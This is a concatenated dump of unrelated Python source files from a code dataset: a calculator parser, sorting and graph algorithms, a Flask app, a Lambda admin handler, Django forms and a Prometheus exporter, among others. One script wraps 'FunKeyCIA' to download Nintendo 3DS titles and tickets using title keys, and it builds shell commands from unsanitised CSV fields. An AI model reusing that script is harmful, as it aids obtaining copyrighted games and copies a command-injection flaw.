'\\\\('\nt_RPAREN = '\\\\)'\nt_NAME = '[a-zA-Z_][a-zA-Z0-9_]*'\n\ndef t_NUMBER(t):\n r\"\"\"\\d+\"\"\"\n try:\n t.value = int(t.value)\n except ValueError:\n print('Integer value too large %d', t.value)\n t.value = 0\n\n return t\n\n\nt_ignore = ' \\t'\n\ndef t_newline(t):\n r\"\"\"\\n+\"\"\"\n t.lexer.lineno += t.value.count('\\n')\n\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n\n\nimport ply.lex as lex\nlexer = lex.lex()\nprecedence = (('left', 'PLUS', 'MINUS'), ('left', 'TIMES', 'DIVIDE'), ('right', 'UMINUS'))\nnames = {}\n\ndef p_statement_assign(t):\n \"\"\"statement : NAME EQUALS expression\"\"\"\n names[t[1]] = t[3]\n\n\ndef p_statement_expr(t):\n \"\"\"statement : expression\"\"\"\n print(t[1])\n\n\ndef p_expression_binop(t):\n \"\"\"expression : expression PLUS expression\n | expression MINUS expression\n | expression TIMES expression\n | expression DIVIDE expression\"\"\"\n if t[2] == '+':\n t[0] = t[1] + t[3]\n else:\n if t[2] == '-':\n t[0] = t[1] - t[3]\n else:\n if t[2] == '*':\n t[0] = t[1] * t[3]\n elif t[2] == '/':\n t[0] = t[1] / t[3]\n\n\ndef p_expression_uminus(t):\n \"\"\"expression : MINUS expression %prec UMINUS\"\"\"\n t[0] = -t[2]\n\n\ndef p_expression_group(t):\n \"\"\"expression : LPAREN expression RPAREN\"\"\"\n t[0] = t[2]\n\n\ndef p_expression_number(t):\n \"\"\"expression : NUMBER\"\"\"\n t[0] = t[1]\n\n\ndef p_expression_name(t):\n \"\"\"expression : NAME\"\"\"\n try:\n t[0] = names[t[1]]\n except LookupError:\n print(\"Undefined name '%s'\" % t[1])\n t[0] = 0\n\n\ndef p_error(t):\n print(\"Syntax error at '%s'\" % t.value)\n\n\nimport ply.yacc as yacc\nparser = yacc.yacc()\nwhile True:\n try:\n s = input('calc > ')\n except EOFError:\n break\n\n parser.parse(s)","sub_path":"pycfiles/bamb-0.7.0-py3.5/ply_test.cpython-35.py","file_name":"ply_test.cpython-35.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"451100128","text":"# Copyright (c) 2020-2021, NVIDIA CORPORATION.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom functools import wraps\nimport time\nimport queue\n\nclass TimeIt:\n q = queue.Queue()\n\n @classmethod\n def measure(cls, func) :\n q = cls.q\n\n @wraps(func)\n def wrapper(*args, **kargs) :\n start_time = int(round(time.time() * 1000))\n result = func(*args,**kargs)\n elapsed_time = int(round(time.time() * 1000)) - start_time\n q.put((func.__name__, elapsed_time))\n return result\n\n return wrapper\n \n @classmethod\n def show_result(cls, main_func, sub_funcs=None):\n q = cls.q\n\n while not q.empty():\n func_name, time = q.get()\n if func_name == main_func.__name__ :\n print(\"-------------------------------\")\n format_str = \" {:<14}: {:>3} (ms) ==> {:.1f} fps\"\n print(format_str.format(func_name, time, 1000.0/time) )\n else:\n format_str = \" {:<14}: {:>3} (ms)\"\n print(format_str.format(func_name, time) )\n\n print(\"======================================\")\n","sub_path":"pub/trtpose_handpose/util_time_profiling.py","file_name":"util_time_profiling.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386273906","text":"from math import floor, ceil\nfrom typing import Dict\n\nfrom py_portfolio_index.common import print_money, print_per\nfrom py_portfolio_index.constants import Logger\nfrom py_portfolio_index.exceptions import PriceFetchError\nfrom py_portfolio_index.enums import RoundingStrategy\n\n\nclass BaseProvider(object):\n pass\n\n def _get_instrument_price(self, ticker: str):\n raise NotImplementedError\n\n def get_instrument_price(self, ticker: str):\n try:\n return self._get_instrument_price(ticker)\n except NotImplementedError as e:\n raise e\n except Exception as e:\n raise PriceFetchError(e)\n\n def buy_instrument(self, ticker: str, qty: int):\n raise NotImplementedError\n\n def purchase_ticker_value_dict(\n self,\n to_buy: Dict[str, float],\n purchasing_power: float,\n plan_only: bool = False,\n fractional_shares: bool = True,\n skip_errored_stocks=False,\n rounding_strategy=RoundingStrategy.CLOSEST,\n ):\n purchased = 0\n target_value = sum([v for k, v in to_buy.items()])\n diff = 0\n for key, value in to_buy.items():\n try:\n price = self.get_instrument_price(key)\n except Exception as e:\n if not skip_errored_stocks:\n raise e\n else:\n continue\n if not price:\n price = 0\n if price == 0:\n to_buy = 0\n else:\n to_buy = value / price\n if fractional_shares:\n to_buy_units = round(to_buy, 4)\n else:\n if rounding_strategy == RoundingStrategy.CLOSEST:\n to_buy_units = int(round(to_buy, 0))\n elif rounding_strategy == RoundingStrategy.FLOOR:\n to_buy_units = floor(to_buy)\n elif rounding_strategy == RoundingStrategy.CEILING:\n to_buy_units = ceil(to_buy)\n else:\n raise ValueError(\n \"Invalid rounding strategy provided with non-fractional shares.\"\n )\n purchasing = to_buy_units * price\n diff += abs(value - purchasing)\n Logger.info(f\"Need to buy {to_buy_units} units of {key}.\")\n if purchasing_power - purchasing < 0:\n Logger.info(\n f\"No purchasing power left, purchased {print_money(purchased)} of {print_money(target_value)}.\"\n )\n break\n\n if plan_only:\n purchasing_power = purchasing_power - purchasing\n purchased += purchasing\n Logger.info(f\"{print_money(purchasing_power)} purchasing power left\")\n continue\n if to_buy_units > 0.0:\n Logger.info(f\"going to buy {to_buy_units} of {key}\")\n try:\n self.buy_instrument(key, to_buy_units)\n purchasing_power = purchasing_power - purchasing\n purchased += purchasing\n Logger.info(f\"{print_money(purchasing_power)} purchasing power left\")\n except Exception as e:\n if not skip_errored_stocks:\n raise e\n else:\n continue\n\n Logger.info(\n f\"$ diff from ideal for purchased stocks was {print_money(diff)}. {print_per(diff/target_value)} of total purchase goal.\"\n )\n","sub_path":"py_portfolio_index/portfolio_providers/base_portfolio.py","file_name":"base_portfolio.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"197157959","text":"# Copyright (c) Dec 22, 2014 CareerMonk Publications and others.\n# E-Mail \t\t: info@careermonk.com \n# Creation Date \t\t: 2014-01-10 06:15:46 \n# Last modification\t\t: 2008-10-31 \n# by\t\t: Narasimha Karumanchi \n# Book Title\t\t\t: Data Structures And Algorithmic Thinking With Python\n# Warranty \t\t: This software is provided \"as is\" without any \n# \t\t\t\t warranty; without even the implied warranty of \n# \t\t\t\t merchantability or fitness for a particular purpose. \n\ndef MergeSort(A):\n if len(A) > 1:\n mid = len(A) // 2\n lefthalf = A[:mid]\n righthalf = A[mid:]\n MergeSort(lefthalf)\n MergeSort(righthalf)\n i = j = k = 0\n while i < len(lefthalf) and j < len(righthalf):\n if lefthalf[i] < righthalf[j]:\n A[k] = lefthalf[i]\n i = i + 1\n else:\n A[k] = righthalf[j]\n j = j + 1\n k = k + 1\n\n while i < len(lefthalf):\n A[k] = lefthalf[i]\n i = i + 1\n k = k + 1\n\n while j < len(righthalf):\n A[k] = righthalf[j]\n j = j + 1\n k = k + 1\n\nA = [534, 246, 933, 127, 277, 321, 454, 565, 220]\nMergeSort(A)\nprint(A)\n","sub_path":"DataStructures/DataStructureAndAlgorithmicThinkingWithPython-master/chapter10sorting/MergeSort.py","file_name":"MergeSort.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"579343220","text":"from copy import deepcopy\nfrom typing import Any, Dict, Iterable, List, Tuple, no_type_check\n\nimport numpy as np\nfrom triad import assert_or_throw\nfrom tune._utils import dict_product, product\nfrom tune.space.parameters import Grid, StochasticExpression, encode_params\n\n\nclass Space(object):\n def __init__(self, **kwargs: Any):\n self._value = deepcopy(kwargs)\n self._grid: List[Tuple[Any, Any, Grid]] = []\n self._rand: List[Tuple[Any, Any, StochasticExpression]] = []\n for k in self._value.keys():\n self._search(self._value, k)\n\n def __iter__(self) -> Iterable[Dict[str, Any]]:\n if len(self._grid) == 0:\n yield deepcopy(self._value)\n return\n rv = [[(x, y, z, v) for v in z] for x, y, z in self._grid] # type: ignore\n for tps in product(rv, safe=True, remove_empty=True): # type: ignore\n # overwrite Grid with one value\n for parent, key, _, v in tps:\n parent[key] = v\n res = deepcopy(self._value)\n # undo the overwrite\n for parent, key, orig, _ in tps:\n parent[key] = orig\n yield res\n\n @property\n def has_random_parameter(self):\n return len(self._rand) > 0\n\n def sample(self, n: int, seed: Any = None) -> \"Space\":\n if n <= 0 or not self.has_random_parameter:\n return self\n if seed is not None:\n np.random.seed(seed)\n return VerticalSpace(*self._sample_to_spaces(n))\n\n def _sample_to_spaces(self, n: int) -> List[\"Space\"]:\n spaces: List[\"Space\"] = []\n rv = [(x, y, z, z.generate_many(n)) for x, y, z in self._rand]\n for i in range(n):\n # overwrite StochasticExpressions with random values\n for parent, key, _, values in rv:\n parent[key] = values[i]\n space = Space(**self._value)\n # undo the overwrite\n for parent, key, orig, _ in rv:\n parent[key] = orig\n spaces.append(space)\n return spaces\n\n def encode(self) -> Iterable[Any]:\n for s in self: # type: ignore\n yield encode_params(s)\n\n def __mul__(self, other: Any) -> \"HorizontalSpace\":\n return HorizontalSpace(self, other)\n\n def __add__(self, other: Any) -> \"VerticalSpace\":\n return VerticalSpace(self, other)\n\n def __radd__(self, other: Any) -> \"Space\":\n assert_or_throw(\n other is None or (isinstance(other, int) and other == 0), ValueError(other)\n )\n return self\n\n def _search(self, parent: Any, key: Any) -> None:\n node = parent[key]\n if isinstance(node, Grid):\n self._grid.append((parent, key, node))\n elif isinstance(node, StochasticExpression):\n self._rand.append((parent, key, node))\n elif isinstance(node, dict):\n for k in node.keys():\n self._search(node, k)\n elif isinstance(node, list):\n for i in range(len(node)):\n self._search(node, i)\n\n\nclass HorizontalSpace(Space):\n def __init__(self, *args: Any, **kwargs: Any):\n self._spaces: List[VerticalSpace] = []\n for x in args:\n if isinstance(x, HorizontalSpace):\n self._spaces.append(VerticalSpace(x))\n elif isinstance(x, VerticalSpace):\n self._spaces.append(x)\n elif isinstance(x, Space):\n self._spaces.append(VerticalSpace(x))\n elif isinstance(x, dict):\n self._spaces.append(VerticalSpace(HorizontalSpace(**x)))\n elif isinstance(x, list):\n self._spaces.append(VerticalSpace(*x))\n else:\n raise ValueError(f\"{x} is invalid\")\n self._dict = {k: _SpaceValue(v) for k, v in kwargs.items()}\n\n @no_type_check # TODO: remove this?\n def __iter__(self) -> Iterable[Dict[str, Any]]:\n dicts = list(dict_product(self._dict, safe=True))\n for spaces in product(\n [g.spaces for g in self._spaces], safe=True, remove_empty=True\n ):\n for comb in product(list(spaces) + [dicts], safe=True, remove_empty=True):\n res: Dict[str, Any] = {}\n for d in comb:\n res.update(d)\n yield res\n\n @property\n def has_random_parameter(self):\n return any(x.has_random_parameter for x in self._spaces)\n\n def _sample_to_spaces(self, n: int) -> List[Space]:\n lists = [s._sample_to_spaces(n) for s in self._spaces]\n return [HorizontalSpace(*args) for args in zip(*lists)]\n\n\nclass VerticalSpace(Space):\n def __init__(self, *args: Any):\n self._spaces: List[Space] = []\n for x in args:\n if isinstance(x, Space):\n self._spaces.append(x)\n elif isinstance(x, dict):\n self._spaces.append(Space(**x))\n elif isinstance(x, list):\n self._spaces.append(VerticalSpace(*x))\n else:\n raise ValueError(f\"{x} is invalid\")\n\n @property\n def spaces(self) -> List[Space]:\n return self._spaces\n\n def __iter__(self) -> Iterable[Dict[str, Any]]:\n for space in self._spaces:\n yield from space # type: ignore\n\n @property\n def has_random_parameter(self):\n return any(x.has_random_parameter for x in self._spaces)\n\n def _sample_to_spaces(self, n: int) -> List[Space]:\n lists = [s._sample_to_spaces(n) for s in self._spaces]\n return [VerticalSpace(*args) for args in zip(*lists)]\n\n\nclass _SpaceValue(object):\n def __init__(self, value: Any):\n self.value = value\n\n @no_type_check # TODO: remove this?\n def __iter__(self) -> Iterable[Any]:\n if isinstance(self.value, (HorizontalSpace, VerticalSpace)):\n yield from self.value\n elif isinstance(self.value, dict):\n yield from dict_product(\n {k: _SpaceValue(v) for k, v in self.value.items()}, safe=True\n )\n elif isinstance(self.value, list):\n yield from product([_SpaceValue(v) for v in self.value], safe=True)\n else:\n yield self.value\n","sub_path":"tune/space/spaces.py","file_name":"spaces.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"384301771","text":"from flask import Flask, session, request, redirect, render_template, url_for\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('test.html')\n\nif __name__ == '__main__':\n from jinja2 import FileSystemLoader\n import os\n root_path = os.path.dirname('/root/websocket_ssh/')\n app.jinja_loader = FileSystemLoader(root_path)\n\n app.run(host='0.0.0.0',port=80,debug=True)\n\n","sub_path":"website.py","file_name":"website.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"278292557","text":"import argparse\nimport csv\nimport os\nimport shutil\n\n#Prep CL argument parser\nPARSER = argparse.ArgumentParser(description='Welcome to FunKeyCIAWrapper. This script is an automation tool for turning Cearp\\'s FunKeyCIA script into a single-run process')\nPARSER.add_argument(\"-k\", \"--keyfile\",\n help=\"Uses encTitleKey.bin to find TitleKeys instead of manually entering each one into the CSV. Will download the file if it isn't present\",\n action=\"store_true\")\nPARSER.add_argument(\"-t\", \"--ticketsonly\",\n help=\"Sets FunKeyCIA to only download tickets. These tickets are then renamed and stored in the ouput directory\",\n action=\"store_true\")\nARGS = PARSER.parse_args()\n\n#Define variables\nBASEDIR = os.getcwd()\nCSVFILE = \"input.csv\"\nTARGETDIR = \"Output\"\n\n#Script intro...at some point...maybe...\nprint(os.linesep)\n\n#Check for CSV file, prep CSV, skip header line\nif os.path.isfile(os.path.join(BASEDIR, CSVFILE)):\n print(\"Loading CSV file '\" + CSVFILE + \"'\")\n csvFile = csv.reader(open(CSVFILE))\n csvFile.next()\nelse: \n raw_input(\"CSV file '\" +CSVFILE + \"' not found! Press ENTER to exit script\")\n quit()\n\n#Check for output directory\nprint(\"Checking for script output directory...\")\nif not os.path.isdir(os.path.join(BASEDIR, TARGETDIR)):\n print(\"Making '\" + TARGETDIR + \"' directory\")\n os.mkdir(TARGETDIR)\nelse: print(\"Found directory '\" + TARGETDIR + \"'\")\n\n#Iterate through CSV, make CIAs, rename, move, and clean up\nprint(os.linesep)\nprint(\"Processing '\" + CSVFILE + \"'...\")\nfor row in csvFile:\n print (\"Building CIA for \" + row[2])\n \n CMD = \"python FunKeyCIA.py \"\n if ARGS.ticketsonly: CMD = CMD + \"-ticketsonly \"\n if ARGS.keyfile and not os.path.isfile(os.path.join(BASEDIR, \"encTitleKeys.bin\")): CMD = CMD + \"-nfskeyfile \"\n elif ARGS.keyfile: CMD = CMD + \"-keyfile \"\n else: CMD = CMD + \"-key \" + row[1]\n CMD = CMD + \" -title \" + row[0]\n os.system(CMD)\n \n if ARGS.ticketsonly: shutil.move(os.path.join(BASEDIR, \"tickets\", row[0] +\".tik\"), os.path.join(BASEDIR, TARGETDIR, row[2] +\".tik\"))\n else: shutil.move(os.path.join(BASEDIR, \"cia\", row[0], row[0] +\".cia\"), os.path.join(BASEDIR, TARGETDIR, row[2] +\".cia\"))\n print(os.linesep)\n#Clean up after FunKeyCIA and exit\nif os.path.isdir(os.path.join(BASEDIR, \"cia\")): shutil.rmtree(os.path.join(BASEDIR, \"cia\"))\nif os.path.isdir(os.path.join(BASEDIR, \"raw\")): shutil.rmtree(os.path.join(BASEDIR, \"raw\"))\nif os.path.isdir(os.path.join(BASEDIR, \"tickets\")): shutil.rmtree(os.path.join(BASEDIR, \"tickets\"))\nraw_input(\"Processing complete! Press ENTER to exit\")","sub_path":"FunKeyCIAWrapper.py","file_name":"FunKeyCIAWrapper.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"393486468","text":"from __future__ import print_function\n\nimport json\nimport boto3\nimport config\nimport phonenumbers\nimport re\nimport traceback\n\ndynamo = boto3.resource('dynamodb', region_name=config.region)\nses = boto3.client('ses')\nlambda_client = boto3.client('lambda')\nsns = boto3.client('sns')\n\nbo_user_table = dynamo.Table(config.backoffice_user_table)\n\n\ndef lambda_handler(event, context):\n response = {}\n\n try:\n lambda_resp = lambda_client.invoke(\n FunctionName=config.authenticator_admin,\n InvocationType='RequestResponse',\n LogType='None',\n Payload='{\"base64-token-email\": \"' + event['base64-token-email'] + '\"}')\n\n lambda_resp = json.loads(lambda_resp['Payload'].read())\n\n if 'email' in lambda_resp:\n response['email'] = lambda_resp['email']\n if 'token' in lambda_resp:\n response['token'] = lambda_resp['token']\n if 'error' in lambda_resp:\n response['error'] = lambda_resp['error']\n return response\n\n if event['resource_path'] not in lambda_resp['actions'] \\\n or ('*' not in lambda_resp['actions'][event['resource_path']]\n and event['http_method'] not in lambda_resp['actions'][event['resource_path']]):\n response['error'] = [\n {\n 'error': 'accessdenied',\n 'message': 'You are not authorized to perform this action.'\n }\n ]\n return response\n\n if ('user_email' not in event or event['user_email'] == '') \\\n or ('first_name' not in event or event['first_name'] == '') \\\n or ('last_name' not in event or event['last_name'] == '') \\\n or ('role_name' not in event or event['role_name'] == '') \\\n or ('phone_number' not in event or event['phone_number'] == ''):\n response['error'] = [\n {\n 'error': 'missingdata',\n 'message': 'Not all fields provided (first name, last name, role name, user email, phone number).'\n }\n ]\n return response\n\n # Validate phone number.\n phone_number = event['phone_number']\n\n if phone_number[:2] != '+1':\n phone_number = '+1' + phone_number\n\n p = phonenumbers.parse(phone_number)\n\n if not phonenumbers.is_valid_number(p):\n response['error'] = [\n {\n 'error': 'invalidnumber',\n 'message': 'The phone number provided is invalid.'\n }\n ]\n return response\n\n \"\"\"\n if str(event['role_name']) == 'Driver':\n # Make SNS topic for them.\n # And subscribe them to it.\n topic_name = re.sub(r'[^\\w\\d]', '-', str(event['user_email']))\n sns_response = sns.create_topic(Name=topic_name)\n sns.subscribe(TopicArn=sns_response['TopicArn'],\n Protocol='sms',\n Endpoint=phone_number)\n \"\"\"\n\n # Insert or update admin.\n bo_user_table.update_item(\n Key={\n 'email': str(event['user_email'])\n },\n UpdateExpression=\"set first_name=:f, last_name=:l, role_name=:n, phone_number=:g\",\n ExpressionAttributeValues={\n ':f': str(event['first_name']),\n ':l': str(event['last_name']),\n ':n': str(event['role_name']),\n ':g': str(phone_number)\n }\n )\n\n # Email user that their account has been created.\n # Email user.\n ses.send_email(\n Source='ccare@delivermeohio.com',\n Destination={\n 'ToAddresses': [str(event['user_email'])],\n 'CcAddresses': [],\n 'BccAddresses': []\n },\n Message={\n 'Subject': {'Data': 'DeliverMe Ohio BackOffice Account Created'},\n 'Body': {\n 'Html': {\n 'Data': 'Hello!

Your BackOffice account has been created. '\n 'Feel free to log in at https://www.delivermeohio.com/ccare

'\n 'Thank You!
DeliverMe Ohio Customer Service'\n }\n }\n },\n ReturnPath='bounce@delivermeohio.com'\n )\n\n response['success'] = 'true'\n except Exception as e:\n print(e)\n lambda_client.invoke(FunctionName=config.error_handler,\n InvocationType='Event',\n LogType='None',\n Payload=json.dumps({\n \"function_name\": context.function_name,\n \"args\": e.args,\n \"message\": traceback.format_exc()\n }))\n response['error'] = [\n {\n 'error': e.message,\n 'message': 'An error occurred. Please try again later.'\n }\n ]\n return response\n","sub_path":"handlers/admin/members/POST/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":5162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"427272228","text":"import Beast\r\nimport Battle\r\nimport Items\r\nfrom random import randint\r\nimport time\r\n\r\n\r\ndef Game_Round(player):\r\n for _ in range(6): #this dungeon has 3 rounds\r\n round_action = randint(1,6)\r\n if(round_action==1 or round_action==3 or round_action==5 or round_action==6):\r\n time.sleep(2) \r\n print(\"\\n ....you moved deeper into the forrest....\\n\")\r\n Items.items_found(player)\r\n elif(round_action==2 or round_action==4):\r\n time.sleep(2) \r\n print(\"\\n You found a monster!\\n\")\r\n enemyx=Beast.enemy(randint(1,3)) \r\n enemyx.Beast_atr()\r\n time.sleep(1.5)\r\n print(enemyx.name,\"\\n Attack is: \",enemyx.attack,\"\\n Defence is: \",enemyx.defence,\"\\n Health is: \",enemyx.health)\r\n time.sleep(3)\r\n battlex=Battle.char_battle(enemyx,player)\r\n battlex.battleround() \r\n\r\n","sub_path":"Path2.py","file_name":"Path2.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"636438749","text":"from django import forms\r\nfrom django.contrib.auth.models import *\r\nfrom pis_system.models import CashAdvance\r\n\r\n\r\nclass CashAdvanceForm(forms.ModelForm):\r\n payroll_month = forms.CharField(widget = forms.DateInput(attrs = {'class' : 'form-control',\r\n 'required' : 'True',\r\n 'type' : 'month'}))\r\n\r\n employee = forms.ModelChoiceField(queryset = User.objects.filter(is_active=True).order_by(\"last_name\"),\r\n widget = forms.Select(attrs={'class' : 'form-control',\r\n 'required' : 'True'}))\r\n\r\n class Meta:\r\n model = CashAdvance\r\n fields = {'employee', 'amount'}\r\n widgets = {'amount' : forms.NumberInput(attrs = {'class' : 'form-control',\r\n 'required' : 'True'})}\r\n\r\nclass PayrollMonth(forms.Form):\r\n payroll_month = forms.DateField(widget = forms.DateInput(attrs = {'class' : 'form-control',\r\n 'required' : 'True',\r\n 'type' : 'month'}))\r\n","sub_path":"billing/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"507104064","text":"from control.input_manager import InputManager\nimport constants as con\nfrom control.controller_interface import ControllerInterface\n\n\ndef build_controller(im, devices):\n return [build_device(im, device) for device in devices]\n\n\ndef build_device(im, device):\n cls = device[con.CLASS]\n\n if cls == con.THUMB_STICK:\n device = build_thumb_stick(im, device)\n\n if cls == con.BUTTON:\n device = build_button(im, device)\n\n if cls == con.TRIGGER:\n device = build_trigger(im, device)\n\n if cls == con.DPAD:\n device = build_dpad(im, device)\n\n return device\n\n\ndef build_thumb_stick(im, device):\n x_mapping = im.get_axis()\n y_mapping = im.get_axis()\n device[con.X_AXIS] = x_mapping.get_args()\n device[con.Y_AXIS] = y_mapping.get_args()\n\n return device\n\n\ndef build_dpad(im, device):\n u_mapping = im.get_mapping()\n d_mapping = im.get_mapping()\n l_mapping = im.get_mapping()\n r_mapping = im.get_mapping()\n\n device[con.UP] = u_mapping.get_args()\n device[con.DOWN] = d_mapping.get_args()\n device[con.LEFT] = l_mapping.get_args()\n device[con.RIGHT] = r_mapping.get_args()\n\n return device\n\n\ndef build_button(im, device):\n mapping = im.get_mapping()\n device[con.MAPPING] = mapping.get_args()\n\n return device\n\n\ndef build_trigger(im, device):\n mapping = im.get_axis()\n device[con.MAPPING] = mapping.get_args()\n\n return device\n\n\nif __name__ == \"__main__\":\n manager = InputManager()\n profile = [\n {\"name\": \"Start\", \"class\": \"button\"},\n {\"name\": \"Dpad\", \"class\": \"dpad\"},\n {\"name\": \"Stick\", \"class\": \"thumb_stick\"},\n {\"name\": \"A\", \"class\": \"button\"}\n ]\n\n i = 0\n for d in profile:\n print(\"Choose input for {}\".format(d[\"name\"]))\n profile[i] = build_device(manager, d)\n i += 1\n\n for d in profile:\n print(d)\n","sub_path":"app/build_controller.py","file_name":"build_controller.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"45846820","text":"class Solution:\n \n \n \n def maxArea(self, h: int, w: int, hc: List[int], vc: List[int]) -> int:\n def getMax(cuts):\n max_diff = cuts[0]\n for i in range(1, len(cuts)):\n max_diff = max(abs(cuts[i] - cuts[i -1]), max_diff)\n return max_diff\n hc.sort()\n vc.sort()\n hc+=[h]\n vc += [w]\n return (getMax(hc) * getMax(vc)) % (pow(10, 9) + 7)","sub_path":"maximum-area-of-a-piece-of-cake-after-horizontal-and-vertical-cuts/maximum-area-of-a-piece-of-cake-after-horizontal-and-vertical-cuts.py","file_name":"maximum-area-of-a-piece-of-cake-after-horizontal-and-vertical-cuts.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"319415859","text":"from anytree import Node, RenderTree\n\nnodeNames = 'SUVXY'\nindexmap = dict(zip(range(len(nodeNames)), nodeNames))\n# mark all unvisited at first\nlarge_number = 100000\nd = dict(zip(nodeNames, [large_number]*len(nodeNames)))\npi = dict(zip(nodeNames, [None]*len(nodeNames)))\nS = dict(zip(nodeNames, [0]*len(nodeNames)))\n\n\nadjList = [\n [0, 10, 0, 5, 0],\n [0, 0, 1, 2, 0],\n [0, 0, 0, 0, 4],\n [0, 3, 9, 0, 2],\n [7, 0, 6, 0, 0]\n]\n\ndef indexOfNode(letter):\n return nodeNames.index(letter)\n\ndef extractCheapest(sortedVertices):\n # because it's sorted. This fn exists to make it a bit clearer\n return sortedVertices[0]\n\ndef weight(node1, node2) : \n return adjList[indexOfNode(node1)][indexOfNode(node2)]\n\ndef dijkstras(graph, source):\n d[source] = 0\n # should ideally use priority queue, but the idea is to maintain an order of vertices according to their distance, which is what is being done here\n sortedVertices = sorted(list(nodeNames), key= lambda x : d[x])\n while len(sortedVertices) != 0 :\n current = extractCheapest(sortedVertices)\n sortedVertices = sortedVertices[1:]\n S[current] = 1 # current is the cheapest, based on D, thus add it to S, signifying it's min dist with src has been found\n row = graph[indexOfNode(current)]\n neighbours = [indexmap[i] for i in range(len(row)) if row[i] != 0]\n for neighbour in neighbours:\n ''' S[neighbour]!=1 means if it's in the set V-S, the condn says that if the new calculated distance is smaller than the current dist'''\n if (S[neighbour]!=1 and (d[neighbour]> d[current] + weight(current, neighbour))):\n sortedVertices.remove(neighbour)\n d[neighbour] = d[current] + weight(current, neighbour) # update to a smaller weight\n pi[neighbour] = current\n sortedVertices = sorted(sortedVertices+[neighbour], key= lambda x : d[x])\n return(S, d, pi)\n \nsource = 'S'\nS, d, pi = dijkstras(adjList, source)\npi[source]=0\nprint(f'S : {S}\\nd : {d}\\npi : {pi}')\n\n","sub_path":"graphs/dijkstrasAlg/dijkstras.py","file_name":"dijkstras.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"371603125","text":"\"\"\"Bootstrap app\"\"\"\nimport logging\nimport os\n\nfrom flask import Flask\nfrom flask_apscheduler import APScheduler\n# Defines the format of the logging to include the time and to use the INFO logging level or worse.\nfrom pyodbc import OperationalError\nfrom pythonjsonlogger import jsonlogger\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.setLevel(logging.INFO)\n\nlogHandler = logging.StreamHandler()\nformat_str = '%(asctime)%(levelname)%(filename)%(funcName)20s%(message)'\nformatter = jsonlogger.JsonFormatter(format_str)\nlogHandler.setFormatter(formatter)\nLOGGER.addHandler(logHandler)\n\nscheduler = APScheduler()\n\n\ndef create_app():\n \"\"\"\n Flask application factory that creates app instances.\n Every time this function is called, a new application instance is created. The reason\n why an application factory is needed is because we need to use different configurations\n for running our tests.\n :return Flask object: Returns a Flask application instance\n \"\"\"\n app = Flask(__name__)\n\n # Set default config to test\n app_settings = os.getenv('FLASK_CONFIG', 'config.TestingConfig')\n LOGGER.info('Config set: %s', app_settings)\n app.config.from_object(app_settings)\n\n from app.controllers.main_routes import main_blueprint\n app.register_blueprint(main_blueprint)\n\n from app.controllers.metric_routes import metric_blueprint\n app.register_blueprint(metric_blueprint)\n\n # scheduler application\n scheduler.init_app(app)\n\n # prom extension\n from app.prom.prom_init import PromInitializer\n app.prom_init = PromInitializer(app)\n\n # Start after app is created, manage.py calls it even when in testing, so should be avoided\n if not app.testing:\n scheduler.start()\n # collect immediately\n try:\n app.prom_init.collector.collect(app)\n # schedule next\n scheduler.add_job(id='exporter_1',\n func=app.prom_init.collector.collect,\n args=[app],\n trigger='interval',\n seconds=app.config['COLLECT_METRICS_INTERVAL_SEC'])\n# except AttributeError:\n# pass\n# LOGGER.info(\"There is no connection to a mssql datasource at the moment\")\n except OperationalError as e:\n LOGGER.info(\"Exception for the first time when connecting to database: %s\", str(e))\n\n return app\n\n\nif __name__ == '__main__':\n # Used for debugging in pycharm, if calling manage.py, break point does not stop\n create_app().run(debug=True, use_reloader=False)\n","sub_path":"app/prom/metrics/general/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"537718856","text":"import copy\nimport json\nimport os\nimport random\nimport re\nimport subprocess\nimport traceback\nfrom types import SimpleNamespace\nfrom typing import Optional\n\nimport docker\nimport requests\nimport yaml\nfrom docker.errors import APIError, ImageNotFound\n\nfrom dt_shell import UserError\nfrom utils.docker_utils import sanitize_docker_baseurl\n\nREQUIRED_METADATA_KEYS = {\"*\": [\"TYPE_VERSION\"], \"1\": [\"TYPE\", 